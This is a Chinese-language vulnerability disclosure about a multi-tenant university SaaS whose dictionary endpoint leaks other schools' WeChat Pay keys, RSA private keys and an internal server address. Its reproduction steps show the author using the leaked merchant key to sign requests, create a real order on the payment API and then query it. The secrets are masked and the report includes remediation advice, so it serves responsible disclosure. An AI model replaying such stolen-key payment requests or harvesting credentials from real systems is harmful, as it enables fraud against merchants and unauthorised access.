一个不该返回这些内容的字典接口 —— 记一次高校 SaaS 平台的跨租户支付凭证泄露

声明:漏洞已通过正规渠道提交至相关 SRC,密钥已全部脱敏,文中的签名与报文仅用于说明原理,无法复现。

起因

事情的开头很平淡。日常测试某高校系统的时候,我在接口列表里翻到了一个 /rest/common/queryDic.json

光看名字就知道是干嘛的:前端数据字典,给下拉框提供选项的那种。我本来扫一眼就打算关掉,结果返回内容让我愣了好几秒——

密钥?RSA 私钥?微信支付的 API_KEY??

一个给下拉框供数据的接口,把好几所高校的支付网关密钥、RSA 公私钥、电子签章服务器 IP 全部吐了出来。当时我的第一反应是“这不会是测试假数据吧”,于是决定认真验证一把。

漏洞描述

这个接口的问题在于:服务端完全没做数据分级,也没做租户隔离。

只要登录系统,返回的 ZFFS(支付方式)字典里就躺着一堆高校的完整支付配置,包括:

  • A 交大的微信支付商户 APP_IDMCH_ID完整 API_KEY

  • B 西电的 RSA 公钥(mego)、RSA 私钥(mesideskeyPARTNERID

  • 目标院校自己的支付平台凭证:platIdtransferMerIddesKeymd5Key

  • 另外两所高校的支付 sysid 和内部支付接口 URL

还有个 DZQZPARAM 字典项,直接把电子签章服务器的 内网IP:8888 摆在了明面上。

最离谱的是跨租户这件事——我登录的是甲校的账号,拿到的是乙校的微信支付密钥。这个平台明显是 SaaS 多租户架构(代码里能看到多个高校的租户标识),但字典接口对所有人一视同仁,谁的密钥都给。

复现步骤

Step 1:登录系统

用信息收集阶段拿到的账号密码正常登录:

账号:500113**********45 / 密码:As****0

image-20260901131517757

Step 2:请求字典接口

直接访问 /rest/common/queryDic.json,敏感数据原样返回:

image-20260901131903144

关键的泄露部分如下(全部脱敏):

{
  "code": 200,
  "ext": {
    "ZFFS": [
      {
        "key": "WX",
        "value": "微信支付(A交大)",
        "ywmc": "{ \"APP_ID\":\"wxdf8b********5f90fc\", \"MCH_ID\":\"148920****\", \"API_KEY\":\"79d9********6425\", \"UFDODER_URL\":\"https://api.mch.weixin.qq.com/pay/unifiedorder\" }"
      },
      {
        "key": "XDZF",
        "value": "在线支付(B西电)",
        "ywmc": "{ \"mego\":\"MIGfMA0GCSqGSIb3DQ...(公钥,截断)\", \"mesi\":\"MIICdQIBADANBgkqhkiG...(私钥,截断)\", \"zfgo\":\"MIGfMA0GCSqGSIb3DQ...(截断)\", \"deskey\":\"Y55H****vYm\", \"PARTNERID\":\"PT00****\", \"SCHOOLCODE\":\"107**\" }"
      },
      {
        "key": "SLZF",
        "value": "甲校",
        "ywmc": "{ \"platId\":\"2022080****\", \"transferMerId\":\"112***\", \"desKey\":\"yczB****GRl\", \"md5Key\":\"MjAyMDA0****Otsf\", \"baseUrl\":\"https://pay.****.cn/\" }"
      },
      {
        "key": "FDTY",
        "value": "在线支付(C大学)",
        "ywmc": "{ \"sysid\":\"**\", \"payurl\":\"http://pay.c**.edu.cn/...\" }"
      },
      {
        "key": "FDTY1",
        "value": "在线支付(D理工)",
        "ywmc": "{ \"sysid\":\"**\", \"payurl\":\"http://c***h.n***.edu.cn/...\" }"
      }
    ],
    "DZQZPARAM": [
      {
        "key": "ZDZM0RSA",
        "value": "测试签章",
        "ywmc": "{ \"ip\":\"223.70.***.***\", \"port\":\"8888\", \"ruleNum\":[\"ZDZM0RSA\"] }"
      }
    ]
  }
}

看到 mesi 这个字段是 RSA 私钥的时候,我心里已经八成有数了——这不是配置泄露,这是把保险柜连门一起送人了。

Step 3:提取微信支付密钥

从响应里把三个关键值抠出来:

image-20260901132143245

到这里,纸面证据已经有了。但光有密钥不能算实锤——是骡子是马,得拉到微信支付的官方 API 上遛一圈。

Step 4:用泄露的密钥调用微信支付官方 API —— 创建订单

微信支付 v2 的签名机制很简单:所有参数按字母序排好,拼成 key1=value1&...&key=API_KEY,算 MD5 转大写。

签名字符串(API_KEY 已脱敏):

appid=wxdf8b********5f90fc&body=test&mch_id=148920****&nonce_str=WQA1D6qJVlbYAMXxVDj3MuGmbVVomfUs&notify_url=https://test.com/notify&out_trade_no=TEST1781959337&spbill_create_ip=127.0.0.1&total_fee=1&trade_type=NATIVE&key=79d9********6425

参数一览:

  • appid / mch_id:来自字典泄露(已脱敏)

  • nonce_str:随手生成的一串随机字符

  • out_trade_no:随手编的订单号

  • total_fee=1:金额单位是分,就付一分钱的意思

  • notify_urlspbill_create_ip:随便填

MD5 之后得到签名,用 Burp 构造 XML 报文打过去:

POST /pay/unifiedorder HTTP/1.1
Host: api.mch.weixin.qq.com
Content-Type: text/xml

<?xml version="1.0" encoding="UTF-8"?>
<xml>
  <appid><![CDATA[wxdf8b********5f90fc]]></appid>
  <body><![CDATA[test]]></body>
  <mch_id><![CDATA[148920****]]></mch_id>
  <nonce_str><![CDATA[WQA1D6qJVlbYAMXxVDj3MuGmbVVomfUs]]></nonce_str>
  <notify_url><![CDATA[https://test.com/notify]]></notify_url>
  <out_trade_no><![CDATA[TEST1781959337]]></out_trade_no>
  <spbill_create_ip><![CDATA[127.0.0.1]]></spbill_create_ip>
  <total_fee><![CDATA[1]]></total_fee>
  <trade_type><![CDATA[NATIVE]]></trade_type>
  <sign><![CDATA[867ED1********F724C4]]></sign>
</xml>
image-20260901132815325

一个坑提前说:如果包发出去石沉大海或者报签名错误,大概率是 nonce_strout_trade_no 被复用了——每次请求都得用全新的随机串和订单号。

响应里 result_code = SUCCESS 并返回了 prepay_id,说明这个 API_KEY 不光是格式对,是真的能在微信支付系统里下单的活密钥。

Step 5:查询订单,确认订单真实存在

创建订单只能证明签名算法对,再查一次订单才算闭环。老规矩,重新签名:

appid=wxdf8b********5f90fc&mch_id=148920****&nonce_str=LhfvSxv9kF5sKEzDHHuB2Xoqm0JdzSw3&out_trade_no=TEST1781959337&key=79d9********6425

MD5 得到签名后发送查询请求:

POST /pay/orderquery HTTP/1.1
Host: api.mch.weixin.qq.com
Content-Type: text/xml

<?xml version="1.0" encoding="UTF-8"?>
<xml>
  <appid><![CDATA[wxdf8b********5f90fc]]></appid>
  <mch_id><![CDATA[148920****]]></mch_id>
  <nonce_str><![CDATA[LhfvSxv9kF5sKEzDHHuB2Xoqm0JdzSw3]]></nonce_str>
  <out_trade_no><![CDATA[TEST1781959337]]></out_trade_no>
  <sign><![CDATA[26CE33********6C0A6]]></sign>
</xml>
image-20260901132935952

查询响应确认了刚才那个一分钱的订单真实存在于微信支付系统中。至此,实锤。

泄露凭证清单

单位

凭证类型

泄露内容

验证结果

A 交大

微信支付商户密钥

APP_ID、MCH_ID、API_KEY(完整签名密钥)

已验证:成功创建订单 + 查询订单

甲校

支付平台凭证

platId、transferMerId、desKey、md5Key

未验证(支付网关外网不可达)

B 西电

RSA 密钥 + 支付凭证

RSA 公钥(mego)、RSA 私钥(mesi)、deskey、PARTNERID

未验证

C 大学

支付证书 + URL

sysid、cert、内部支付接口 URL

未验证

D 理工

支付证书 + URL

sysid、cert、内部支付接口 URL

未验证

电子签章

内网服务器地址

内网 IP、端口 8888

未验证(内网地址)

危害分析

多租户数据隔离彻底失效

这个系统是几所高校共用的 SaaS 平台,但字典接口完全不分你我:

  • 甲校学生 → 拿到 A 交大支付密钥

  • 甲校学生 → 拿到 B 西电 RSA 私钥

  • 甲校学生 → 拿到 C 大学支付证书

  • 甲校学生 → 拿到 D 理工支付接口 URL

任何一个普通学生账号,都能变成拿着五所高校支付凭证的“超级用户”。

内网拓扑暴露

电子签章服务器的内网 IP 和端口直接写在字典里,等于给后续内网渗透递了一张地图。

修复建议

  • P0:对 queryDic.json 接口实施租户隔离,只返回当前登录用户所属高校的字典数据

  • P0:把支付密钥这类敏感配置从字典表里彻底移走,改成加密存储或走配置中心

  • P0:联系相关商户与支付渠道运营方,立即轮换已泄露的 API_KEY

  • P0:同步排查其余高校的支付密钥是否需要轮换

  • P1:对字典数据做敏感度分级,不同级别套不同的访问控制策略

  • P2:全面审查系统里其他接口有没有类似的跨租户泄露问题